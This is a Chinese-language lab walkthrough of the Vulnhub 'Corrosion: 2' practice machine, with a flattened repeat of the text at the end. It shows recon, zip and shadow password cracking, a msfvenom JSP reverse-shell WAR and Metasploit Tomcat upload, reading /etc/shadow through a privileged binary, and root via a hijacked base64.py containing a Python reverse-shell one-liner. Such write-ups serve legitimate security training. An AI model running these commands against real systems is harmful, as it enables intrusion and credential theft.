Vulnhub Corrosion: 2靶机实战
字数 1455 2025-08-11 23:26:43

Vulnhub Corrosion: 2 靶机渗透测试教学文档

靶机概述

Corrosion: 2 是一个 Vulnhub 上的渗透测试靶机,主要考察以下技术点:

  • Tomcat 中间件渗透
  • 密码破解技术
  • 越权访问利用
  • Linux 提权技术

环境准备

  • 攻击机:Kali Linux
  • 靶机:Corrosion: 2 (Ubuntu 系统)
  • 网络配置:同一局域网段

信息收集阶段

1. 发现目标

使用 arp-scan 扫描局域网内主机:

arp-scan -I eth0 -l

发现靶机 IP 为 192.168.147.131

2. 端口扫描

使用 nmap 进行全端口扫描:

nmap -sS -A -T4 -Pn -p- 192.168.147.131

扫描结果:

  • 22 端口:SSH 服务
  • 80 端口:HTTP 服务 (Apache 默认页面)
  • 8080 端口:Tomcat 服务

3. 目录扫描

使用 dirsearch 进行目录爆破:

Apache (80端口):

dirsearch -u http://192.168.147.131

结果:仅 index.html 可访问

Tomcat (8080端口):

dirsearch -u http://192.168.147.131:8080

发现重要路径:

  • /manager/ (Tomcat 管理页面)
  • /backup.zip
  • /readme.txt

密码破解阶段

1. 分析 readme.txt

内容提示管理员在服务器上留了文件,并提到了密码,但未直接给出。

2. 破解 backup.zip

使用 zip2john 和 john 进行破解:

zip2john backup.zip > password.txt
john --wordlist=/usr/share/wordlists/rockyou.txt password.txt

成功破解密码:@administrator_hi5

3. 解压 backup.zip

发现重要文件:tomcat-users.xml,包含以下账号:

manager ---- melehifokivai
admin ---- melehifokivai

初始访问阶段

1. Tomcat 管理页面利用

尝试上传 war 格式的反弹 shell:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.147.129 LPORT=6789 -f war > ninggo.war

上传后未能成功反弹 shell。

2. 使用 Metasploit 的 Tomcat 漏洞利用

msfconsole -q
search tomcat 9
use 5
set RHOSTS 192.168.147.131
set RPORT 8080
set USERNAME manager
set PASSWORD melehifokivai
exploit

成功获取普通用户 shell,升级为交互式 shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

权限提升阶段

1. 用户切换

在 /home 目录发现两个用户:

  • randy
  • jaye

发现 jaye 用户可以使用 Tomcat 密码登录:

ssh jaye@192.168.147.131

密码:melehifokivai

2. 越权访问利用

在 jaye 的家目录发现可执行文件 look,具有越权访问能力:

./look '/etc/passwd'
./look '/etc/shadow'

将输出保存到本地用于密码破解。

3. 密码破解

使用 unshadow 和 john 破解:

unshadow passwd shadow > password.txt
john --wordlist=/usr/share/wordlists/rockyou.txt password.txt

破解结果:

  • randy 用户密码:07051986randy
  • root 用户密码未能破解

4. 切换至 randy 用户

su randy

密码:07051986randy

5. Sudo 提权

检查 sudo 权限:

sudo -l

发现可以无密码执行 /usr/bin/randombase64.py

分析该 Python 脚本:

import base64

message = input("Enter your string: ")
message_bytes = message.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')

print(base64_message)

6. 利用 Python 模块提权

发现 base64.py 可写,修改为反弹 shell 代码:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.147.129",6789));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

保存时需禁用备份:

:set nobackup
:set nowritebackup
:set noswapfile
:wq

执行脚本获取 root shell:

sudo /usr/bin/randombase64.py

最终获取 flag

在 /root 目录下找到最终的 flag 文件。

技术总结

  1. Tomcat 中间件渗透

    • 管理页面默认凭证利用
    • war 文件上传与执行
    • Metasploit 模块利用
  2. 密码破解技术

    • zip2john 破解加密压缩包
    • unshadow 整合密码文件
    • john 进行密码爆破
  3. 越权访问利用

    • 利用特殊权限程序读取敏感文件
    • 通过 shadow 文件获取密码哈希
  4. 提权技术

    • sudo 权限滥用
    • Python 模块劫持
    • 反弹 shell 构造
  5. 其他技巧

    • 交互式 shell 升级
    • 文件权限分析
    • 敏感信息收集与利用
Vulnhub Corrosion: 2 靶机渗透测试教学文档 靶机概述 Corrosion: 2 是一个 Vulnhub 上的渗透测试靶机,主要考察以下技术点: Tomcat 中间件渗透 密码破解技术 越权访问利用 Linux 提权技术 环境准备 攻击机:Kali Linux 靶机:Corrosion: 2 (Ubuntu 系统) 网络配置:同一局域网段 信息收集阶段 1. 发现目标 使用 arp-scan 扫描局域网内主机: 发现靶机 IP 为 192.168.147.131 2. 端口扫描 使用 nmap 进行全端口扫描: 扫描结果: 22 端口:SSH 服务 80 端口:HTTP 服务 (Apache 默认页面) 8080 端口:Tomcat 服务 3. 目录扫描 使用 dirsearch 进行目录爆破: Apache (80端口): 结果:仅 index.html 可访问 Tomcat (8080端口): 发现重要路径: /manager/ (Tomcat 管理页面) /backup.zip /readme.txt 密码破解阶段 1. 分析 readme.txt 内容提示管理员在服务器上留了文件,并提到了密码,但未直接给出。 2. 破解 backup.zip 使用 zip2john 和 john 进行破解: 成功破解密码: @administrator_hi5 3. 解压 backup.zip 发现重要文件: tomcat-users.xml ,包含以下账号: 初始访问阶段 1. Tomcat 管理页面利用 尝试上传 war 格式的反弹 shell: 上传后未能成功反弹 shell。 2. 使用 Metasploit 的 Tomcat 漏洞利用 成功获取普通用户 shell,升级为交互式 shell: 权限提升阶段 1. 用户切换 在 /home 目录发现两个用户: randy jaye 发现 jaye 用户可以使用 Tomcat 密码登录: 密码: melehifokivai 2. 越权访问利用 在 jaye 的家目录发现可执行文件 look ,具有越权访问能力: 将输出保存到本地用于密码破解。 3. 密码破解 使用 unshadow 和 john 破解: 破解结果: randy 用户密码: 07051986randy root 用户密码未能破解 4. 切换至 randy 用户 密码: 07051986randy 5. Sudo 提权 检查 sudo 权限: 发现可以无密码执行 /usr/bin/randombase64.py 分析该 Python 脚本: 6. 利用 Python 模块提权 发现 base64.py 可写,修改为反弹 shell 代码: 保存时需禁用备份: 执行脚本获取 root shell: 最终获取 flag 在 /root 目录下找到最终的 flag 文件。 技术总结 Tomcat 中间件渗透 : 管理页面默认凭证利用 war 文件上传与执行 Metasploit 模块利用 密码破解技术 : zip2john 破解加密压缩包 unshadow 整合密码文件 john 进行密码爆破 越权访问利用 : 利用特殊权限程序读取敏感文件 通过 shadow 文件获取密码哈希 提权技术 : sudo 权限滥用 Python 模块劫持 反弹 shell 构造 其他技巧 : 交互式 shell 升级 文件权限分析 敏感信息收集与利用